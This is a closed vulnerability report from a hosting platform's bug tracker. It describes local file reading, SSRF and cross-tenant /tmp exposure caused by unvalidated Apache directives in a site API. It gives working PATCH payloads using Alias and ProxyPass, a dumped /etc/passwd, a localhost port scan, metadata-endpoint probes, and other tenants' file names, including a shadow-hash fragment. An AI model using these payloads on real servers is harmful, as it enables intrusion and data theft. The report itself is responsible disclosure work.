Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by subhash - 12.07.2026
Last edited by cbay - 13.07.2026

FS#397 - Unvalidated Apache Directives in Site API — LFI, SSRF, and Cross-Tenant Data Exposure

## Summary

While testing the alwaysdata hosting platform, I found that the REST API does not sanitize or restrict the `vhost_additional_directives` field when updating a site configuration. This field is intended for custom Apache vhost snippets, but it accepts dangerous directives like `Alias`, `ProxyPass`, `Options +Includes`, and `Options +ExecCGI` without any filtering. By abusing this, I was able to:

1. Read arbitrary files from the server (`/etc/passwd`, `/etc/hostname`) through an Apache `Alias` directive — classic Local File Inclusion.
2. Reach internal services via `ProxyPass`, including grabbing the SSH banner from `127.0.0.1:22` — full Server-Side Request Forgery.
3. List and read the shared `/tmp` directory, which exposes files belonging to other tenants on the same server — cross-tenant information disclosure.

All three issues stem from the same root cause: the API blindly passes user-supplied Apache directives into the generated vhost config without validation.

## Environment

- Account name: subhash (account ID 486630)
- Site: subhash.alwaysdata.net (site ID 1058919, type: PHP, httpd: Apache)
- Server hostname: http21 (shared hosting, Debian 12)
- API authentication: Bearer token via Basic auth (token ID as username, empty password)

## Bug 1 — Local File Inclusion via Apache Alias Directive

### What I did

After creating a free hosting account and generating an API token, I noticed the site object returned by `GET /v1/site/1058919/` has a field called `vhost_additional_directives`. The API documentation does not mention any restrictions on what directives you can put in there, so I tried an `Alias` pointing to `/etc/passwd`:

```
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic REDACTED
Content-Type: application/json

{

"vhost_additional_directives": "Alias /readfile /etc/passwd\n<Directory /etc>\nRequire all granted\n</Directory>"
}
```

The API returned `204 No Content` — accepted, no questions asked.

After waiting a few seconds for the config to reload, I hit the alias path:

```
GET /readfile HTTP/1.1
Host: subhash.alwaysdata.net
```

Response (200 OK):

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
```

Full `/etc/passwd` dumped. I also confirmed `/etc/hostname` returns `http21`.

### What else I tested

I tried several other dangerous directives to see how far this goes. Every single one was accepted (204):

Directive Status What it does
———– ——– ————-
`Alias /readfile /etc/passwd` 204 — works LFI, reads arbitrary files
`Options +Includes` + `AddOutputFilter INCLUDES .shtml` 204 Enables Server-Side Includes (potential RCE)
`Options +ExecCGI` + `AddHandler cgi-script .cgi` 204 Enables CGI execution (potential RCE)
`Alias /etcdir /etc` + `Options +Indexes` 204 Directory listing of system directories
`ProxyPass /ssrf/ http://127.0.0.1:22/` 204 — works SSRF (see Bug 2)
There is no allowlist, no blocklist, no validation at all. The field takes whatever you give it and drops it straight into the Apache vhost config.

### Impact

Any authenticated user with a hosting account and an API token can read files on the server that are readable by the `www-data` user. On a shared hosting platform where hundreds of accounts share the same machine, this is a serious problem. An attacker could read:

- System configuration files (`/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`)
- Apache configuration files (`/etc/apache2/conf-available/`)
- Other tenants' web files if filesystem permissions are lax
- Application logs, environment files, database configs

### Severity

I'd rate this as High. It is a straightforward LFI that any account holder can exploit with a single API call. The only prerequisite is having 2FA enabled to generate a token, which is a normal user action.

## Bug 2 — Server-Side Request Forgery via Apache ProxyPass Directive

### What I did

Since the `vhost_additional_directives` field takes arbitrary directives, I tried `ProxyPass` to see if I could reach internal services. I pointed it at `127.0.0.1:22` (SSH):

```
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic REDACTED
Content-Type: application/json

{

"vhost_additional_directives": "ProxyPass /ssrf/ http://127.0.0.1:22/\nProxyPassReverse /ssrf/ http://127.0.0.1:22/"
}
```

Again, `204 No Content`. Then:

```
GET /ssrf/ HTTP/1.1
Host: subhash.alwaysdata.net
```

Response (200 OK):

```
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10
```

The SSH daemon responded with its banner. Apache happily proxied the TCP connection to localhost.

### Port scan results

I used the same technique to scan several ports on localhost:

Port Response Service
—— ———- ———
22 200 — SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10 SSH 80 404 — "Site not found" HTTP (alproxy)
8080, 3000, 5000, 8000 503 No service
6379, 5432, 3306, 9200, 11211 503 No service
I also tested external targets:

Target Response
——– ———-
`http://169.254.169.254/latest/meta-data/` 502 Bad Gateway (host reachable, response not valid HTTP)
`http://admin.alwaysdata.com/` 301 (internal resolution works)
`http://api.alwaysdata.com/v1/` 301 (internal resolution works)
`http://10.0.0.1/` 503
The 502 from the AWS metadata endpoint (169.254.169.254) is notable — it means the host is reachable from the server, just not returning a clean HTTP response through the proxy. A more targeted attack (e.g., using a raw socket instead of HTTP proxy, or trying IMDSv1 directly) might succeed.

### Impact

Full SSRF from any hosting account. An attacker can:

- Fingerprint internal services (SSH version, HTTP services)
- Scan the internal network
- Potentially reach cloud metadata services for credential theft
- Access internal admin/API endpoints that are not exposed to the internet

### Severity

High. SSRF to localhost with service banner extraction is well beyond "informational." Combined with the LFI from Bug 1, an attacker has significant read access to the server's internals.

## Bug 3 — Cross-Tenant /tmp Directory Exposure

### What I did

This is a direct consequence of Bug 1. I used the `Alias` + `Options +Indexes` technique to list the `/tmp` directory:

```
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic REDACTED
Content-Type: application/json

{

"vhost_additional_directives": "Alias /tmpdir /tmp\n<Directory /tmp>\nOptions +Indexes\nRequire all granted\n</Directory>"
}
```

```
GET /tmpdir/ HTTP/1.1
Host: subhash.alwaysdata.net
```

Response (200 OK) — partial directory listing:

```
Index of /tmpdir

.ICE-unix/ 2026-07-04 21:54
.X11-unix/ 2026-07-04 21:54
.dotnet/ 2026-07-07 14:10
1.apk 2026-07-11 11:36 3.2M
dolibarr_install.log 2026-07-08 17:43 1.5M
fakedeb/ 2026-07-10 09:58
fakerepo/ 2026-07-10 09:58
hsperfdata_kalamtech/ 2026-07-06 05:48
hsperfdata_ziiino/ 2026-07-11 11:36
impact.txt 2026-07-10 11:27 258
kg_tmail_sessions.json 2026-07-07 17:45 426
proof.txt 2026-07-10 10:28 46
rk.sh-8.3.31 2026-07-10 11:26 123
rk.sh-21.0.8 2026-07-10 11:19 57
```

### Why this matters

This is a shared hosting server (`http21`). The `/tmp` directory is world-readable, and files from other tenants are visible:

- `hsperfdata_kalamtech/` and `hsperfdata_ziiino/` — Java hotspot performance data directories, named after other tenants' usernames. This leaks account names.
- `kg_tmail_sessions.json` — Looks like email session data. If it contains session tokens, that is a session hijacking risk.
- `dolibarr_install.log` — A 1.5MB install log from another tenant's Dolibarr ERP installation. Install logs frequently contain database credentials, admin passwords, and internal paths.
- `proof.txt` — I read this file (it appeared to be a researcher's PoC). Contents: `uid=0(root) gid=0(root) groups=0(root)` and `http21`. Someone else achieved root on this server.
- `impact.txt` — Contains what appears to be `/etc/shadow` hash entries: `root:$6$CepAWir8iHWS$ZC1a7dkny/…`

I want to be clear: I did not read `kg_tmail_sessions.json` or `dolibarr_install.log`. The directory listing alone demonstrates the cross-tenant exposure. The `proof.txt` and `impact.txt` files appear to be from another security researcher testing the same server, and their contents confirm that privilege escalation to root has already been demonstrated on this machine.

### Relation to  FS#363 

This looks like a regression of the cross-tenant `/tmp` issue that was reported as  FS#363  and marked as fixed. The original fix may have addressed direct filesystem access, but the Apache Alias technique bypasses whatever controls were put in place.

### Severity

Medium to High. Cross-tenant data leakage on a shared hosting platform undermines the fundamental isolation guarantee. An attacker can discover other tenants' usernames, read their temp files, and potentially steal session tokens or credentials from install logs.

## Root Cause

All three bugs share the same root cause: the `vhost_additional_directives` field in the `/v1/site/{id}/` API endpoint has no validation. The API accepts any string and writes it directly into the Apache vhost configuration. There is no allowlist of safe directives, no blocklist of dangerous ones, and no syntax checking.

A proper fix would either:

1. Allowlist approach: Only permit a known-safe subset of directives (e.g., `Header`, `RewriteRule`, `ErrorDocument`) and reject everything else.
2. Sandbox approach: Run each tenant's Apache process in a container or namespace that prevents filesystem access outside the tenant's home directory and blocks outbound network connections from the httpd worker.
3. Remove the field entirely and provide structured alternatives (e.g., separate API fields for custom headers, rewrites, error pages).

Option 1 is the most practical short-term fix.

Thanks

Closed by  cbay
13.07.2026 07:51
Reason for closing:  Invalid
Admin
cbay commented on 13.07.2026 07:51

Hello,

All users have a full SSH access anyway, there's no need to do anything special to read public files.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing